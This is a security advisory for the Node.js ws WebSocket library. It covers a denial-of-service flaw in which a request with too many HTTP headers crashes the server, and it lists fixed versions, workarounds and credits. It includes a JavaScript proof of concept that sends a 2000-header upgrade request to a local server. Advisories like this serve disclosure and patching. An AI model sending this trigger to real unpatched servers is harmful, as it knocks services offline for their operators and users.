CGA-cm39-xg6p-r3wr

Summary

ws affected by a DoS when handling a request with many HTTP headers

Description

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231